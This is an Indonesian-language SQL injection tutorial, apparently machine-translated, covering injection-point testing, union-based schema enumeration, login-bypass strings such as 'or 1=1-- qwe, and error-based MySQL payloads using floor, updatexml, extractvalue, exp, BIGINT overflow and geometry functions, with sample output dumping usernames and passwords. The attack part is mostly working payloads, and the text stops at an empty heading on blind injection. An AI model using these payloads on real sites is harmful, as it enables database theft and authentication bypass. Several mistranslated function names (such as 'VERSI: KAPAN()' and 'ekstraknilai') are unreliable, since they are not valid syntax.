Prinsip dan analisis injeksi SQL
Inti dari serangan injeksi adalah memperlakukan data yang dimasukkan oleh pengguna sebagai eksekusi kode.
Ada dua syarat utama di sini:
Yang pertama adalah pengguna dapat mengontrol input
Yang kedua adalah kode yang akan dieksekusi oleh program asli.Data yang dimasukkan oleh pengguna disambung dan kemudian dieksekusi.
Menilai titik injeksi
Metode tertua
dan 1=1 halaman adalah normal
dan 1=2 Halaman tidak normal
Cara termudah
Tambahkan 'di akhir halaman untuk melihat apakah ada kesalahan yang dilaporkan
Jika ini adalah parameter digital, Anda dapat mencoba -1
Misalnya:
http://www.xxx.com/new.php?id=1 Halaman menampilkan berita dengan id=1
http://www.xxx.com/new.php?id=2-1 Halaman menampilkan berita dengan id=1
dan 1=1 dan 1=2 Kemungkinan dicegat terlalu tinggi, Anda dapat mencoba dan -1=-1 dan -1=-2 dan 1>0 atau 1=1.
Atau langsung atau tidur (5)
Fungsi yang umum digunakan
Lihat versi basis data saat ini
VERSI: KAPAN()
@@VERSI: KAPAN
@@GLOBAL.VERSI
Lihat pengguna yang saat ini masuk ke database
PENGGUNA()
CURRENT_USER()
SISTEM_USER()
SESI_USER()
Basis data yang sedang digunakan
DATABASE()
SKEMA()
Sistem terkait
@@BASEDIR: jalur instalasi mysql:
@@SLAVE_LOAD_TMPDIR: Jalur folder sementara:
@@DATADIR: Jalur penyimpanan data:
@@CHARACTER_SETS_DIR: Jalur file pengaturan set karakter
@@LOG_ERROR: Jalur file log kesalahan:
@@PID_FILE: jalur file file pid
@@BASEDIR: jalur instalasi mysql:
@@SLAVE_LOAD_TMPDIR: Jalur folder sementara:
@@version_compile_os: Versi sistem operasi:
Anotasi
- qwe (dengan spasi)
Data gabungan
concat()
group_concat()
concat_ws()
CIBCAT
Format dasar
CONCAT(str1,str2)
Hasil kembalian adalah string yang dihasilkan oleh parameter koneksi. Jika ada parameter NULL, nilai yang dikembalikan adalah NULL. Mungkin ada satu atau lebih parameter.
NULL dalam parameter
mysql> SELECT CONCAT(id,',',NULL,',',password) AS users FROM users LIMIT 1,1;
+-------+
| users |
+-------+
| NULL |
+-------+
1 row in set (0.00 sec)
Gunakan LIMIT untuk mengontrol jumlah hasil
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 1;
+-------------+
| users |
+-------------+
| 1,Dumb,Dumb |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 2;
+-----------------------+
| users |
+-----------------------+
| 1,Dumb,Dumb |
| 2,Angelina,I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,1;
+-------------+
| users |
+-------------+
| 1,Dumb,Dumb |
+-------------+
1 row in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1,Dumb,Dumb |
| 2,Angelina,I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
mysql> SELECT CONCAT(id,',',username,',',password) AS users FROM users LIMIT 1,1;
+-----------------------+
| users |
+-----------------------+
| 2,Angelina,I-kill-you |
+-----------------------+
1 row in set (0.00 sec)
CONCAT_WS
CONCAT_WS()Representasi CONCAT With Separatoradalah CONCAT()bentuk khusus. Parameter pertama adalah pemisah untuk parameter lainnya. Jadi tidak perlu menambahkan pemisah secara manual jika parameternya terlalu banyak.
Format dasar
CONCAT_WS(separator,str1,str2,…)
Pemisah adalah pemisah antar karakter
mysql> SELECT CONCAT_WS('~',id,username,password) AS users FROM users LIMIT 0,2;
+-----------------------+
| users |
+-----------------------+
| 1~Dumb~Dumb |
| 2~Angelina~I-kill-you |
+-----------------------+
2 rows in set (0.00 sec)
GROUP_CONCAT
Format dasar
GROUP_CONCAT(str1,str2,…)
mysql> SELECT GROUP_CONCAT(id,username,password) AS users FROM users;
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| users | +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1DumbDumb,2AngelinaI-kill-you,3Dummyp@ssword,4securecrappy,5stupidstupidity,6supermangenious,7batmanmob!le,8adminadmin,9admin1admin1,10admin2admin2,11admin3admin3,12dhakkandumbo,14admin4admin4
| +--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
Injeksi kesalahan
Mysql telah menambahkan information_schema di versi 5.0 ke atas.Sistem ini dilengkapi dengan perpustakaan yang menyimpan informasi tentang semua database lain yang dikelola oleh server MySQL. Seperti nama database, tabel database, tipe data dan otoritas akses kolom tabel, dll.
information_schema.tables menyimpan korespondensi antara nama tabel dan nama perpustakaan
information_schema.columns menyimpan korespondensi antara nama field dan nama tabel
Catatan: information_schema.tables sebenarnya adalah tabel yang dipilih di perpustakaan information_schema
Proses dasar
Menilai jumlah bidang
ORDER BY 10
ORDER BY 5
ORDER BY 2
....
Menilai posisi tampilan
union select 1,2,3,4,5,6,7……
Lihat database saat ini
union select 1,2,database()
Nama tabel pencarian
union select 1,2,table_name from information_schema.tables where
table_schema=database()
Cari nama
union select 1,2,column_name from information_schema.columns where
table_name='表名' and table_schema=database()
Nilai bidang kueri
union select 1,字段名,字段名 from 表名
POST injeksi
Injeksi POST adalah penggunaan POST untuk injeksi parameter, yang pada dasarnya sama dengan tipe GET
Poin berisiko tinggi injeksi POST
Kotak masuk
kotak pertanyaan
Dan kotak lain yang berinteraksi dengan database
Kata sandi universal
'or 1=1-- qwe
'or 1=1#
admin'-- qwe
admin'#
Injeksi kesalahan
floor() melaporkan kesalahan
prinsip
Alasan injeksi kesalahan floor() adalah bahwa ketika mengelompokkan dengan memasukkan data ke dalam tabel sementara, kunci utama diulang ketika memasukkan tabel sementara karena beberapa perhitungan Rand(), yang menghasilkan kesalahan, dan karena SQL pernyataan atau fungsi dalam concat() sebelum kesalahan dilaporkan Eksekusi, sehingga pernyataan melaporkan kesalahan dan kunci utama yang dilempar adalah hasil dari pernyataan SQL atau eksekusi fungsi.
Pernyataan kesalahan
mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
mysql> select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry '5.5.54-log1' for key 'group_key'
Tabel kunci dinonaktifkan
select count(*) from (select 1 union select null union select !1)x group by concat(database(),floor(rand(0)*2))
Kesalahan sintaks Xpath
updatexml() berfungsi untuk memperbarui dokumen xml
Sintaks: updatexml (konten xml target, jalur dokumen xml, konten yang diperbarui)
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
Sebenarnya, di sini adalah untuk memperbarui dokumen XML, tetapi kami menulis subquery di lokasi jalur dokumen XML, kami memasukkan karakter khusus, dan kemudian melaporkan kesalahan karena tidak memenuhi aturan input
Tetapi ketika kesalahan dilaporkan, dia sebenarnya telah mengeksekusi kode subquery!
[0x7e sebenarnya heksadesimal, Mysql mendukung heksadesimal, tetapi di awal Anda harus menulis 0x 0x7e adalah simbol khusus, dan kemudian kesalahan dilaporkan jika tidak sesuai dengan aturan jalur] ~ ~
ekstraknilai()
Sintaks: extractvalue (target konten xml, string dalam format xpath)
and extractvalue(1,concat(0x7e,(SELECT database()),0x7e))
Baik updatexml dan extractvalue melaporkan kesalahan berdasarkan sintaks xpath, dan extractvalue serupa.
Ini umumnya digunakan bersama dengan dan atau atau. Ini berbeda dari kueri bersama dan tidak perlu peduli dengan jumlah bidang.
kesalahan exp
prinsip
exp adalah fungsi matematika yang mengambil e pangkat x. Ketika kita memasukkan nilai yang lebih besar dari 709, kesalahan akan dilaporkan, dan kemudian nilainya akan selalu lebih besar dari 709, sehingga kesalahan akan dilaporkan. Versi yang berlaku: 5.5.5, 5.5.49, dan mysql dapat merekam Rentang nilai ganda terbatas Setelah hasil melebihi rentang, fungsi melaporkan kesalahan, dan simbol ~ adalah operator, artinya karakter unary dibalik.
Pernyataan kesalahan
Bersarang harus digunakan di sini, karena bilangan bulat besar tidak dapat meluap tanpa menggunakan bersarang tanpa pilih*dari
exp(~(select * from(查询语句)a))
union select exp(~(select * from(select database())a))
Kesalahan luapan BIGINT
Pernyataan kesalahan
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
Kesalahan fungsi geometris
Pernyataan kesalahan
GeometryCollection:GeometryCollection((select * from (select* from(select user())a)b))
polygon():polygon((select * from(select * from(select user())a)b))
multipoint():multipoint((select * from(select * from(select user())a)b))
multilinestring():multilinestring((select * from(select * from(select user())a)b))
linestring(): LINESTRING((select * from(select * from(select user())a)b))
multipolygon() :multipolygon((select * from(select * from(select user())a)b))
Buta
memperkenalkan